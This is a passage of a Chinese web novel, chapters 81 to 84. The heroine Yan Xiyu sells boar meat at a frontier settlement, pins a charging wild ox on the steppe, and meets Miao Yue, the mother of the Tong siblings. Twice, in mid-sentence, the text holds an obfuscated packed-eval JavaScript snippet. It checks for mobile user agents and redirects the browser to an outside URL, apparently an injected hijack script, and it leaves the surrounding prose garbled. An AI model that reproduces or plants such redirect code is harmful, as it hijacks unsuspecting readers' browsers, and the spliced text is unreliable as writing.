“万一他们串通呢?”仲茂忧心忡忡的样子,“那我们不就吃亏了。” “一两个管事确实容易串通,但多几个就有点难,人总是有私心的,人多很难做到一条心,”燕惜妤压底声音说,“而且我们归梁屯长管,好处可以让梁屯长多得一些,这样梁屯长就会让别的屯长少得好处。” “万一屯长出去了呢?”仲茂又问,“屯长平日总是在边地到处跑。” “那就找年纪大的老者,同样多找几个,”燕惜妤说,“在边地的屯里,年纪大的老者都是后辈一路护着过来的,那些护不住的,半路已经倒下了,剩下的都是些有声望有威严能压制住后辈的老者,你找他们也可以。” 屯里大多都是流放的罪人,大多都是整个家族一起流放的,多的有上百口人,少的也有二、三十人,甚至有些是一整个同宗同族的村子一起流放的,那些人之中,曾经的族长族老仍然是有些威信的。 燕惜妤怕说多了仲茂会有压力,于是她又说:“在这边地里,有流放的犯人,有充军的军户,也有受灾过来的灾民,就连羿家军中的将士,也是从老百姓的家里走出来的,大家都是大承的百姓,你不用太怕他们,只要你身正不怕影子歪,他们想拿捏你,也得先掂量掂量一下他们自己有没有那个本事。” 当然,坏人总是会有,等遇到再见招拆招。 “我记住了,”仲茂用力地点了点头,“姑娘,我们五个兄弟虽然蠢笨,但我们一定护好大家。” “你们才不笨,你看看仲三,”燕惜妤抬起下巴点点头,“你们 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本来猪下水和猪蹄是留的,但有位屯长就好猪下水那一口,就把下水买走了。 另外两个猪蹄好像是给个家里腿有伤的人给买了,不知听谁说脚伤了说猪蹄能治好,于是仲四只卖了两个,留下两个给阿谦。 至于猪舌是仲茂要留的,他听说脚伤了吃猪蹄,就想着仲四说话不利索应该吃猪舌。 而猪心是佟瑰方让留的,她用来炖灵芝给燕惜妤吃。 那盆猪血让孙珍娘端走了,她原本要给钱,罗采春不收,她觉得因为孙珍娘借了金针,燕惜妤的病才能治好,别说是一盆猪血,就是一头野猪都应该送给对方。 她不知道孙珍娘和燕惜妤是事先谈好了条件才借出金针,燕惜妤没说,也不会说,那是事关孙珍娘的个人隐秘,她不会说出去。 仲茂他们几个馋肉,原想多留些,是桑大娘说现在天气热,留太多肉怕容易坏,还有就是他们这些人初来乍到,总得和邻居处好关系。 虽然燕惜妤能镇住屯里的人,但燕惜妤是燕惜妤,怕万一有人趁她进山就摸上门来找事,所以他们还需要屯里邻居的帮忙。 今儿个的野猪肉就是在告诉大家,同燕姑娘家的这些人和睦相处,以后大家就都能有肉吃,可谁若是故意来招惹事非,那就只能看别人吃肉。 今日几个屯里的人家都是快日落后才烧火煮饭的,但家家户户都飘出了炖肉的香味。 “好香啊!”小满儿这会也不牵小鹿和大灰兔了,只守着搭在院子的灶头前闻着肉香味。 仲五正在看着灶里的火,边点头边吸了吸鼻子:“好香!” 罗采春和佟瑰方她们几个坐在炕上数铜板,一百个铜板就拿草绳串成一串。 仲三在边上拎起一串铜板递给桑大娘:“我已经打听清楚了,三串铜板才够买一口大铁锅,咱们先买大铁锅。” “是该买,”桑大娘接过三串铜板放在一起,“这是买铁锅的。” 燕惜妤大致看了看,开口说:“一头野猪也值不了几个钱,我要是能去套一头大野牛回来就好了。” “别套野牛,”仲三连忙说,“我听他们说,之前有人在山里逮到了头小野牛,被充公成了屯里的,现在那头牛还在下地犁田呢。” 佟槿方赶忙问:“该不是连野马也要充公吧?”他记得燕惜妤说要套野马,马匹老值钱了。 “那倒没有,”仲三摇头,“但是要是套到野马,得先让羿家军那边先挑选,剩下的才能卖去州县的衙门和富户。” 佟槿方忍不住问:“羿家军……给银子吗?”他当乞丐那十年,见多了衙门的衙差在大街上吃拿不给钱的。 仲三点头:“给的,羿家军是正常买马,他们从不欺凌老百姓。” “不白拿就行,”佟槿方说着,转头看燕惜妤,“我觉得还是套野羊最好,羊肉多人吃,还卖的贵,而且羊皮子也有人抢着要,方才就有不少人悄悄向我打听,要是你能打到狼、狐狸和兔子还有熊瞎子,那皮毛子能不能也卖给他们一些。” 梁屯长也说要羊皮子,看来羊皮子很有销路。 这时,仲茂在院子外忽然嚎了一嗓子:“肉炖好了!” “哇,吃肉了!”燕惜妤一个箭步就冲了出去,抛下炕上那数了一半的铜板不管。 紧接着又响起了小满儿那欢快的声音:“燕姐姐,肉!” “肉!”小玉彩也连蹦带跳地喊着。 “我阿妹也还小呢,”罗采春乐悠悠地将燕惜妤散落在炕上的铜板一枚一枚捡起来,“我这当阿姐的,可不能总让她操劳家里的一切。” “你当阿姐的,那就先得给她选门好夫婿,”桑大娘将木盒子里一串串的铜板摆整齐,“方才已经有婶子来向我打听了,不仅打听你阿妹,还打听你和瑰方,连槿方也有人问。” “啊这……”罗采春转头看佟瑰方俩姐弟。 佟瑰方面露厌恶之色:“要是问到我跟前,我定开口将人骂走。” “你们呀,若是还没成亲的心思,就且再等等,”桑大娘意有所指地说,“姑娘她日后是做大事的人,有她在,你们就能选那人上人的姑娘小郎,且都再等等罢。” “阿嬷,我也能选那富贵人家的姑娘成亲?”仲三很震惊地看了过来。 “那就要看姑娘了,”桑大娘喊别人都是喊名字,唯有喊燕惜妤是喊姑娘,“她若成大事,你们也能当人上人,她若只想当个普通人,我们就陪着柴米油盐罢。” 罗采春想到之前的事,开口道:“我旁的不求,只求我阿妹安康。” “我也不奢望别的,”佟槿方也接着说,“我只求我阿姐和燕姑娘能自由自在。” “可燕姑娘好像只想着如何赚银子,”仲三挠了挠头,“我愿燕姑娘能有家财万贯,住在那金门绣户,过着富贵荣华的日子。” 82. 第82章 吃过一顿野猪肉,大家伙好像突然就充满了力气,就连小娃儿都忙碌了起来。 小满儿早早就牵着小鹿和大灰兔出门了,阿转和玉彩跟着她,阿谦怕他们被屯里别的小孩欺负,也慢吞吞地走在他们身后。 燕惜妤今日要和梁屯长去边地守军驻地盖个出入章,梁屯长已经过来了,还带了他家婆娘自己做的肉酱。 “这是我家那婆娘做的,我吃着挺好,就给你们带了些,”梁屯长把手里的碗递给燕惜妤,“你们拿去吃,可别嫌弃啊。” “多谢梁屯长,这碗我待会再给送你家去,”燕惜妤大方地接过碗递给旁边站着的仲五,“有劳屯长了,我们这就去羿家军驻地走一趟吧。” 羿家军的驻地虽然是土坯营房,但面积很大,四周还建有很高的嘹望台。 在守兵的带领下,燕惜妤跟着梁屯长往里走,虽然他们只进到最外围,燕惜妤依然听见了将士响亮的操练声,还伴有无数马匹的奔跑声。 看来在驻地的里面,不只有操练场,也还建有跑马场。怪不得仲三会打听到羿家军有优先购买马匹的权利,看来羿家军很重视骑兵。 燕惜妤低头跟着梁屯长去给路引盖了章,又低头跟着往回走。 路过一间岗哨屋时,里面有人轻轻“咦”了一声。 那人往门口走了两步,看了几眼刚刚走过去的俩人。 “你认识屯里的人?”旁边有人问他。 “我不认识,”那人摇了摇头。 “你不认识你还盯着人姑娘看?”有人笑他。 那人又看了两眼,没敢说出来认识人家姑娘的是他家少将军。 这时有人把一个木箱送了出来:“刘兄,这是少将军要的书册,劳烦张兄送回将军府。” “有劳,”那将军府守兵刘序接过对方手中的木箱,想了想还是忍不住多问了一句,“方才那一男一女是为了何事前来?” “什么男女?”那人转头看了一眼,刚好看见那一男一女的背影,他还真知道,“是附近屯里的梁屯长带人过来盖出入边卡的章子。” “那姑娘要出边卡?”刘序有些吃惊,“她一个人前来盖章子,难道只她一人要出去?” “谁知道,”那人耸耸肩,“反正只她一人来盖章子,给她盖章子的兄弟也很纳闷,还特地同我们说了一嘴,要不我也不会晓得这事。” “那行,我这就回将军府了,”刘序背着木箱子骑马出了驻地,途中经过一个岔路口,正巧看见先前那一男一女往那个方向走去。 梁屯长带着燕惜妤回到屯里,他就忙他自个儿的事情去了。 燕惜妤小心翼翼地把刚盖了章子的路引压在炕席下面。 桑大娘正在旁边喝水,看见她藏东南的小动作,出声笑她:“也就是这热天你能藏那路引在炕席下,若是到了雪天,烧炕取暖,你那路引估计没两日就坏了。” “对喔,那我换个地方,”燕惜妤于是又把路引从炕席下拿了出来。 这时仲茂搬了一个大木桶进来,身后还跟着佟瑰方。 “这桶是?”燕惜妤问了句。 “洗漱用的,”佟瑰方手里还拿着几捆草药,“你身上的黄栀膏该洗掉了,再不洗会很难洗掉。” 桑大娘转头仔细看着燕惜妤,恍然道:“怪不得我总觉得咱姑娘怎能晒成这样黄,原来是染了色。” “你不提我还真差点着给忘了,”燕惜妤自己这才想起还有这事,“那我今夜洗一下,要洗几次?” “你这染的太久,要洗七次才行,每次间隔五日,”佟瑰方将手里拎着的草药放在炕上,“先把草药熬出药汁再倒进温水里,你坐水里头泡大半时辰就可以了。” “多谢佟阿姐,”燕惜妤连忙道谢。 佟瑰方说:“是我阿弟同我说的,他前两日帮罗姑娘去掉脸上的颜色时提了句。”罗采春正是因为洗掉了脸上的颜色,才会出门时被莽汉纠缠。 不过燕惜妤身手了得,她倒是不怕有人会因为她的样貌就敢来纠缠她。 当晚燕惜妤泡了一次药浴,桑大娘她们几个还特地点了用猪肉换来的油灯,结果在豆大的光线下一看,燕惜妤身上肌肤的颜色好像比之前更黄了。 “怎会这样?”罗采春顿时就拧紧了眉毛,“这看着也没变白。” “头两次都是这样,等泡过三次才会脱去黄色,”佟瑰方解释道,“燕姑娘涂太久了,所以才会越泡越黄。” “真能变白吗?”罗采春不放心地追问,“是不是该早些泡才好?” “罗姑娘放心,能变白,”佟瑰方点头,“这个方子在佟家经常用,从没出过差错。” 罗采春这才略略放下了心:“那就好。” 燕惜妤本人倒是不怎么在意,她提着木桶出院子外倒水,屯里的人家这时早就关门落闩了,只偶尔能听见两声吠叫。 她四周看了看,旁边仲茂他们住的屋子也关着门,那两匹马站在刚搭好的草棚子里,时不时打个响鼻。 这两匹马是他们现在最贵重的财产,仲茂把它们照料的不错。 燕惜妤转身回屋,关门落闩。 屋里的炕上,桑大娘她们三人已经躺着歇息了。 这一路山长水远地来到边地,大家一直都是席地而睡,她们女子还好些,经常睡在板车上,而仲茂他们几人,那都是赶路停在哪就睡哪,身上被虫蚁咬出一个又一个的包。 这几日睡在炕上,大家嘴上虽然没说什么,但从脸上能看出所有人心中的舒坦。 哪怕口袋分文没有,可最起码他们现在有瓦遮头。再说他们刚卖了猪肉赚了好些铜板,真的是想想都能在睡梦中笑出声来。 就像小满儿,睡着睡着忽然就“咯咯咯”地在笑。 燕惜妤一个翻身猛地坐了起来,有些懵地瞪着眼睛左右瞧了瞧。 罗采春正巧进屋拿东西,见她睡着睡着蹦了起来,奇怪地问:“阿妹?你怎么了?” “三姐,我刚才在梦里听见有小孩在笑,”燕惜妤有些茫茫然地说,“好像就在我耳边笑。” 好巧不巧,小满儿这时又“咯咯咯”地在笑。 燕惜妤听了一耳朵,下了炕走进里屋,里屋的炕上满儿边睡边笑,还手舞足蹈的。 旁边的小玉彩被她笑醒了,闭着眼睛爬起来坐着在打瞌睡。 “小娃儿的笑声也能吓醒你,”罗采春在旁边说,“平日你可胆大了。” “我昨日在山里转迷路了,我怕会惊到了山里的什么东西跟了回来,”燕惜妤拍拍自己胸口,“山里阴冷阴冷的,偶尔还会响起莫名其妙的怪叫声。” 罗采春听了也露出胆怯的表情:“莫不是真在山中招惹了什么?” 燕惜妤看着她,很认真地说:“我也不清楚。” 这时门外传来桑大娘的声音:“你再吓唬你三姐,就不怕你三姐当真了。” 罗采春一怔,又去看燕惜妤。 燕惜妤终于装不下去了,自己先笑了起来:“三姐,我骗你的。” “真是骗我?”罗采春却担心地问,“你要真有什么事儿可一定要说。” “我一觉醒来炕上只剩我自己,”燕惜妤笑着说,“我故意这么说,三姐就会忘了我贪睡这事了。” “让你吓我!”罗采春轻轻拍了一下燕惜妤的后背,“你觉得累就多睡会,家里也没你什么事,你再睡会。” “不睡了,我今日去边地瞧瞧去,”燕惜妤用手抓了抓头发,“三姐帮我梳头发,我要戴上箬帽。” “今日又进山?不歇几日?”罗采春取出梳子过来给她梳头。 “不歇了,我才刚睡醒,”燕惜妤背对着罗采春说,“想到草原上的那些野羊,我就睡不着。” 小满儿这时也半眯着眼从里屋走出来,桑大娘就站在旁边,她只看了看,然后走过来一下子抱住燕惜妤的大腿。 “燕姐姐,吃果果。”昨日只掂记着牵小鹿和灰兔,还掂记着吃肉肉。今日睡醒了,才想起还有果果没吃。 “眼睛一睁就只想着吃,”桑大娘在旁边摇着头念了小满儿一句。 小满儿假装没听见,只仰着小脸看燕惜妤。 “吃!我们这就去吃果果!”燕惜妤对她笑着说,“快去和小玉彩洗脸去,洗了脸就吃果果。” 小满儿欢呼着转身跑回里屋,连看都不看她曾祖母一眼。 桑大娘慈爱地低头看着,她这曾孙女打小就黏她,没想到这才和姑娘相处了不久,就已经如此活泼了。 等小满儿牵着小玉彩一起洗了脸,燕惜妤已经拿出了昨日摘回来的各种果子:“想吃什么果子自己拿,要记得去洗一下才能吃。” 几个小娃也不害羞,都挑了大桃子。 院子外走来几个要看小鹿和灰兔的小孩子,小阿转这娃儿好玩,他给那几个小伙伴一人分了一个小杏果。 不吃独食,就是大方里还藏着点小吝啬。 桑大娘摇着头说:“小娃儿都鬼精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932548|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼精的。” 罗采春笑着又给每人分了一个桃子,那些小孩顿时就举着桃子满屯转,没转两圈,又把别的小孩也给招来了,惹得小阿转急着要去关院子的木栅门。 这下他是连一颗小杏果都不愿意分出去了。 吃过果子,各人各有自己的事要做,就连几个小娃也没闲着。 燕惜妤又背着放着布袋的背篓准备进山,她这一回生二回熟的,也不多说什么,对大家挥挥手,自己就向着临阜山走去。 她这次直接朝着草原那边的方向疾驰而去。 可能是因为各有各自的牧群圈,所以夷狄人大多都分散居住,隔好远才能看见几顶毡包,燕惜妤一个身穿大承衣裳的女子几次走过那些牧群圈,都很幸运地没遇见夷狄人,但也没见到野羊群。 “怎么特地来找却一只也看不见?”燕惜妤边嘀咕着边继续往前走。 走了一会儿,前头出现了一群野牛。 那些野牛很明显比圈养的要大,身上还有一层厚毛,头上长有两只让人胆寒的长角。 野牛群也不怕人,它们慢吞吞地边走边低头吃草,愣是一眼也没看过站在一旁的燕惜妤。 燕惜妤却在盯着野牛群,牛群里有不少小牛犊,被牛群围在中间。 就在这时,远处忽然响起了马蹄声。 燕惜妤侧头看了过去,有人骑马正向这边跑来,应该是冲着野牛群来的。 看来这群野牛早就被人盯上了。 野牛群也被马蹄声惊动,这时牛群中出现了骚动,小牛犊开始变得不安起来,其中一头看似是头牛的野牛忽然迈开四蹄往前狂奔。 头牛一跑,其它的野牛也纷纷跟着狂奔,燕惜妤站在不远处都仿佛能感受到大地在颤动。 牛要跑了。 燕惜妤回头看看那骑马的人,离牛群还有段距离,但对方已经在拈弓搭箭,“咻”的一声,一支箭射进了奔跑的野牛群中,然后又是“咻咻咻”几声箭响,头牛估计是利箭惹怒了,骤然掉转了奔跑的方向,直冲着射箭的人而去。 那人竟然对着头牛又是几箭,可惜野牛皮太厚,虽然有两箭是射中了牛身,但对奔跑中的野牛没造成任何影响,那牛低着头,用锋利的牛角对着射箭的人猛地撞过去。 那人反应也快,一扯缰绳连人带马很惊险地躲开了。 但人算不如天算,头牛忽然前蹄打滑猛地砸了出去,正正好砸中了马匹的后蹄,马匹一声长嘶跪在了地上。 马背上的人被甩了出去,但此人身手挺敏捷,手中抓紧着长弓一个翻身又站了起来。 那匹马和他同时爬了起来,可惜马匹受惊自己跑了,只剩下那人留在原地。 头牛这时已经被完全激怒,低着头又冲着那人撞去,那人拔腿就跑。 跑的方向正是燕惜妤所站着的位置。 燕惜妤缓缓睁大了眼睛。 我虽然选择袖手旁观是不对,可你这招祸水东引也不怎么样。 人两条腿又怎么能跑得过四条腿的大野牛,那人被大野牛的牛角刺伤了后肩,一身血地奔着燕惜妤而来。 离得近了,燕惜妤能看清对方的衣着和样貌,对方身穿夷狄服饰,是个留有络腮胡的中年男子。 那人之前应该是知道这边站着人才特地跑向这边的,但快到近前时,那人在看见燕惜妤的衣着和身形之后,竟然很突兀地改变了奔跑的方向,硬生生在燕惜妤前面拐了弯,引着野牛跑向了另一边。 燕惜妤“咦”了一声,临时改变路奔跑的线的原因是什么? 这时,不远处又传来了马蹄声,在草原上骑马的只能是夷狄人。 燕惜妤抬头看了看,又去看被野牛追着跑的中年男人。 这夷狄人要是被野牛用牛角刺死了,正在赶来的夷狄人会不会迁怒她? 她倒是不怕被迁怒,但要是因为她选择袖手旁观见死不救,从而引起大承和夷狄出现战争…… 她才刚带着人来到边地,无论如何都不能因为她自己的问题从而引起这种动荡。 燕惜妤脚下忽然用力,整个人倏地消失在原地。 达格其此时忽然被野草绊倒,整个人往下摔时,他不甘心就这样被野牛踩死,于是奋力侧身,仍在流血的那只肩膀猛然发力,从靴筒里抽出了匕首—— 野牛如果踩过来,他就用匕首刺向野牛的喉头。 正在生死存亡的一霎,野牛已冲到近前,达格其却是眼前一花,有道身影忽然出现! 83. 第83章 野牛低着头,两只锋利的牛角直直向前,大有不在人身上捅出两个大窟窿誓不罢休的感觉。 燕惜妤虽然杀过熊,但她现在不想杀牛。 这是野牛群的头牛,如果把领头牛杀了,牛群可能会分散,以后再想一次性找到这么一大群野牛估计要需要更多的时间。 既然不能杀牛,那就只能先把牛制服。 燕惜妤盯着那正刺向她身上的两只大牛角,在电光石火的瞬间,她伸出双手猛地攥住了刺过来的牛角! “跪!”燕惜妤大喝一把,双臂攥紧牛角骤然向下一压—— 那体形庞大的野牛硬生生地被她压着一双前蹄跪在了地上! 草原上忽然吹起了一阵大风,把人身上的袍角吹得“唰唰”作响。 燕惜妤攥着牛角的双手丝毫不敢懈气,那头大野牛仍然被她按着牛角低着头在挣扎。 但无论野牛怎么挣扎,后腿怎么刨地,牛头却是一点儿也抬不起来,后来干脆不挣扎了,整头牛卧在了草地上。 燕惜妤无法确定这牛在她松手后会不会继续撞人,想问问那个夷狄人,毕竟这人是草原上的牧民,应该知道这方面的事。 结果她一转头,没看见人。 人哪去了? 燕惜妤再一抬头,看见了一支利箭正对着她自己。 那个被她从牛角下解救的夷狄人,死里逃生后的第一件事,竟然是正拉开弓对着她这个救命恩人。 这时,马蹄声也已经越来越近。 前有夷狄人的利箭,后有夷狄人的帮凶,自己现在是腹背受敌。 燕惜妤原本弯着腰在压着头角,这时她面无表情地忽然向后一跃,整个人纵身向后退了出去。 那野牛在她松开手的刹那,四蹄一用劲,又站了起来,在站起来的同时,牛头又缓缓低下,两只大牛角直直地对准了对面的人。 燕惜妤就站在牛的对面,她看着站在牛后面拉开弓弦的夷狄人,想着野牛如果攻击她,她就把这夷狄人扔在牛头上去。 不过野牛虽然低着头,也做出了要攻击人的姿势,但却站着没动。 燕惜妤等了等,见野牛不冲过来,她这才侧头看了看身后。 那骑马过来的夷狄人此时也已经到了,虽然头上缠着头巾,但看衣着装束就知道是个妇人。 那妇人见了野牛,估计是怕激怒牛,于是下了马慢慢走下来。 她绕过一人一牛,走到了那就算肩膀正鲜血淋漓,仍然拉着弓弦不放的夷狄人身旁。 燕惜妤一眼就看出了这妇人不像是游牧夷狄人,她像是大承人。 那妇人脸上充满了担忧,先是看看那头大野牛,又看向了这边。 燕惜妤和她目光一接触,能明显看见对方眼中的惊讶。 燕惜妤眯了眯眼睛,下一霎她的人就已经到了那妇人的面前。 “啊!”在妇人的惊愕声中,燕惜妤一抬手,抓住了搭在弓弦上的箭。 “把弓松开,”燕惜妤看着面露惊慌的妇人,却是对长有络腮胡的夷狄男人说话,“我要想杀你,你没机会放箭。” 夷狄男人果然能听懂大承的语言,只见他想了想,终究还是松了一直拉开弓弦的手。 他双手一动,肩膀上的鲜血顿时又涌了出来,顺着早就染红的袍子往下滴。 “达格其,你……”那妇人有些手足无措地伸手入怀取出了一个小布包,里面有些药粉,可能是止血用的,结果又是一阵大风,药粉瞬间就被吹没了。 “我没事,”达格其连忙说,他虽然口音奇怪,但却是能清楚说出大承的语言,“我没事,你不要担心。” “我只带了这些药,可你要止血,我们快些回去,”那妇人慌乱地伸手攥紧了达格其的手袖。 “苗月,你不要急,我没事,”达格其像是忘记了身旁还站着个人,只一个劲地去安抚那叫苗月的妇人。 燕惜妤在旁边看着,大概猜出了这妇人可能是个不能受到惊吓的,否则这夷狄男人不会这么紧张。 在夷狄人的地盘上,一个大承妇人不会说夷狄牧民的语言,反倒是夷狄男人学会了大承的语言,看来这夷狄男人对这妇人很上心。 燕惜妤想了想,把佟槿方之前送给她的那个像葫芦的药袋拿了出来,她边从药袋里拿药丸边说:“你们如果信我,可以用我带的药。” 对面的俩人顿时抬头看了过来,达格其面露警惕,而那妇人却在看见葫芦药袋时,整个人开始颤抖了起来。 “你、你怎会有……这个药袋?”苗月死死地盯着那个药袋。 燕惜妤不明所以地看着她:“我朋友借给我的。” “你、朋友叫什么名字?”苗月也不知道为什么,忽然像是无法呼吸似地攥紧了她自己的衣领,“他叫什么名字?” “我朋友姓佟,”燕惜妤只知道佟槿方当了十年乞丐,佟瑰方被送进了知县府中十年,她不清楚佟家姐弟的其它事情,对方不说,她也不问,所以她无法确定眼前这女人是佟家姐弟的哪位亲人,“你认识他?” “你那朋友是不是叫佟槿方?”苗月突然就一把抢走了燕惜妤身中的药袋,她像是忽然陷入了癫狂之中,瞪着眼睛死死地看着那个药袋,嘴里一直在反复问着一句话,“是槿方吗?是不是槿方?是槿方吧?” 燕惜妤如果想避开,对方根本就抢不走她手中的药袋,但燕惜妤没躲,她觉得这妇人和佟槿方的关系可能非比寻常。 “是,他是叫佟槿方,”燕惜妤点点头,反问道,“你也认识他?那你是不是认识他兄长?”就算她认为这妇人真的认识佟家姐弟,但她还是打算再谨慎些。 “他没兄长!”苗月情绪忽然爆发,“他没兄长!他只有一个长姐,他和瑰方都是我的孩子!” 这下轮到燕惜妤惊讶,她半信半疑道:“佟家姐弟真是你的孩子?你是他们的娘亲?” 燕惜妤一直以为佟槿方当了十年乞丐,佟瑰方被送进知县府关了十年,他们的家人应该是遭到什么麻烦事,否则不至于让当时才六、七岁的佟槿方去当乞丐。 佟槿方也曾说过他是从家里逃出来的,燕惜妤猜测他是从宗族里逃出来的,因为如果他身边有父母在,他应该不用在外面当乞丐,却没想到佟家姐弟的娘亲竟然在荒漠,在夷狄人的地盘上。 “我是他们的娘亲,这只药袋就是我亲手缝给我孩儿槿方的,”苗月这时忽然又平静了下来,她双手捧着那药袋,就像捧着小孩似的轻轻晃着,“我是他们的娘亲,我是佟家明媒正娶的……” 但她说着说着,却忽然又出现了癫狂,脸上的表情变得狰狞:“我不是!我要杀了他!他怎么敢! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我来套野马野羊的,”燕惜妤也不骗他,“就我一个人过来,我要来或是要走,你拦不住,你们夷狄没人能拦得住我。” 达格其不说话了,他低着头不知道在想着什么,放在腿上的手始终攥成拳头。 “苗月说的佟家姐弟,你认识?”达格其忽然问了这句话。 “认识,”燕惜妤也不多说别人的私事,“你要是想知道,你可以自己问她,我没她知道的清楚。” 达格其皱着眉说:“苗月不说。” “我说,”他身后忽然响起了苗月的声音,惊得他连忙起身过去,“苗月,你醒了?” “达格其,让你担心了,”苗月恢复了最先担忧达格其时的表情,她手里还攥着那个药袋,“我先为你敷药止血。” 达格其很听话地开始脱袍子,燕惜妤侧了侧身,不去看他们。 苗月很清楚药袋里面放着的是什么药,缝在药袋里面的一个个小袋,都是她亲自一针一线缝制出来的,也是她教佟槿方该如何在药袋里放药的。 上了药,达格其这个肩膀受了伤的人反而扶着苗月过来,俩人坐下后,苗月说:“这位姑娘,我娘家姓苗,我叫苗月,是瑰方和槿方的亲娘。” 84. 第84章 “我姓燕,叫燕惜妤,是瑰方和槿方的朋友,”燕惜妤仔细看了看苗月的脸色,见她眼神平静,才顺势问了句,“那这位大叔是?” “我叫达格其,”达格其抢着说,“我是苗月的夫君。” 他们俩人的关系,燕惜妤略微猜疑了一下,觉得应该是在一起的,这时见达格其亲口说出来,她也就点点头。 “你、不奇怪?”达格其看她这种反应,反而觉得奇怪,“我是夷狄人,和你们大承是仇敌。” “你们这事和我没有关系吧,”燕惜妤也用奇怪的眼神看着他,“这是你们自己的事。” 说完这句话,燕惜妤才反应过来达格其话中的意思。 这个时代好像是不允许和外族通婚的,甚至在本土之内,有些宗族和姓氏也一样不允许通婚。 不过这和她确实没关系。 达格其看她表情不像在说谎,竟然露出了些许的笑容:“你很不错。” “难道你们家人反对啊?”燕惜妤只能顺着话题往下说,否则她也不知道该和这俩人说些什么。 达格其顿时叽哩咕噜说了一通燕惜妤听不明白的夷狄人的言语。 燕惜妤只能去看苗月,苗月应该也刚听不懂,但她看出达格其想表达的意思:“他的族人都不同意,所以把他给赶出来了。” “赶出来了?”燕惜妤想了想才问,“夷狄人的族群不在这边吗?” “不在,夷狄人的族群在草原的中心居住,一年两次迁徙的地点也离这边很远,”苗月摇头,叹气道,“这里太靠近大承的边卡了,再过去就是羿家军的驻地,草原上的游牧民都恨羿家军,但同时也会远离他们。” 燕惜妤相信她说的这些话,因为这里离临阜山太近了。临阜山在大承和荒漠草原的交界外,临阜山的那边是大承的边地,那山的这边,自然也是草原的边缘。 大承边地有不少朝廷流放过来的犯人,而草原的边缘则住着被夷狄蛮族赶出来的族人。 “怪不得我这一路过来没看见有几顶毡包,原来是这么回事,”燕惜妤回想刚才看见的零星几顶毡包,几次经过都没被夷狄人发现,她当时还觉得奇怪呢。 “从族中被赶走的族人很少,而且被赶出来的人也会避开他人安扎毡包,所以在这边隔很远才能看见一两顶毡包,”苗月说,“不过燕姑娘你还是要小心些,被赶出来的夷狄人性情都很凶恶,你不要被他们发现了。” “好,我会注意的,”燕惜妤点点头,看了几眼毡包里的摆设,又看看苗月身上的衣着,斟酌着说,“苗月阿姨,这位达格其大叔对你还好吗?” 苗月笑了笑:“达格其对我很好,他救了我的命,又因为我被族人赶了出来,我想留在他的身边。” 达格其听得懂大承的语言,这时正一脸挚情地看着苗月。 “这样啊,”燕惜妤也笑笑,“那……” 她还没说出什么话来,苗月忽然就又激动了起来:“你是不是想问佟家?我和佟家没有关系!是那畜生亲自把我卖了!” 佟瑰方和佟槿方的爹把俩姐弟的亲娘给卖了? 燕惜妤心中一惊,不过她也没再说这个话题,因为苗月一提起就会情绪失控,怕她会再次晕厥:“苗月阿姨,这事咱先不提了,我都不能确定你到底是不是瑰方和槿方的亲娘,等你们见了面再说这事。” 其实她基本上可以确定苗月就是佟家姐弟的亲娘,但人家俩姐弟不在,她也就尽量先避免着让苗月陷在过去悲伤的情绪当中,等佟家姐弟来了,等他们三人见了面再说这事吧。 苗月听见佟家姐弟的名字,总算是缓和了情绪,她呼吸有些急促,但没了之前的愤激:“这些事确实不该说来让你这样的小姑娘知晓,免得脏了你的耳朵。” 燕惜妤很配合地抬起双手捂了捂自己的耳朵:“我听苗月阿姨的,我不听。” 苗月终于露出一个笑来,不过她虽然笑着,脸上仍是满是愁容:“瑰方和槿方……许是不愿再认我这个娘了。” “我也不知道他们认还是不认,这要等到他们知道了这事才会有答案,”燕惜妤以旁观者的身份说,“我到时候带他们过来。” “可他们在佟家,离这边地很远,”苗月摇摇头,又露出一丝笑,“再说瑰方也该是成亲了,她嫁去了婆家,她婆家人又怎会愿意让她山长水远来这边,先别说路上的危险,就是那边地也很是荒凉,她来了就是自找苦吃,还是别让他们过来了。” 燕惜妤没说佟家俩姐弟已经在边地落户安家了,只是说:“那到时再说,只要阿姨你在这里,他们就能有个目的地找过来。” 苗月叹气:“本该是我过大承找他们的,可我被卖掉后就已成了奴籍,为奴为婢的人,是没有路引也离不开主家,我在大承寸步难行。达格其又是异族人,他若是进了大承会被羿家军的人杀死的。” 她说着说着,神情又开始愤怒起来:“……都是那畜生,我为他生儿育女,为他操持家事,我……” 达格其连忙伸手去握住她的手,温声说:“这位姑娘认识你的儿女,他们总会知道,你别急。” 苗月胸脯起伏着点头,表情阴郁:“我不急,我总有一天要他身败名裂!” “好,要他身败名裂,”达格其重重点头,将盛有温水的银碗端了起来,“你先喝点水。” 苗月接过碗,看着燕惜妤必:“燕姑娘,你也喝水。” 燕惜妤端起那拳头大小的银碗,看了两眼说:“这是银子打造的碗吧?” “是,达格其的族人不准他娶我,被赶出来之后,他偷偷给我准备的,”苗月温情地看向身旁的夷狄族男人,“他说夷狄娶亲该给娘子准备的,我也要有。” “银子打造的碗,老值钱了,”燕惜妤端着银碗看了又看,“夷狄这边也是用银子作为日常交易吗?” 苗月摇头说:“这边用银子的比较少,他们族内一般都是物物交换,和其他的族群则是靠武力抢夺。” “现在也还是这样?”燕惜妤惊讶道,“那被赶出来的人家中的东西不是很容易就被抢?” “先前一直是这样,后来在败给羿家军之后,夷狄人不再侵袭大承,大承那边就有商队敢过来和夷狄百姓交换各种货物,夷狄这边收银子的比较少,一般是要陶器纸张还有丝绸和药材,”苗月因为住着离边卡近,看见过夷狄百姓在边卡附近和大承商队交换货物。 燕惜妤继续问:“那大承商队从你们这边要什么回去?” 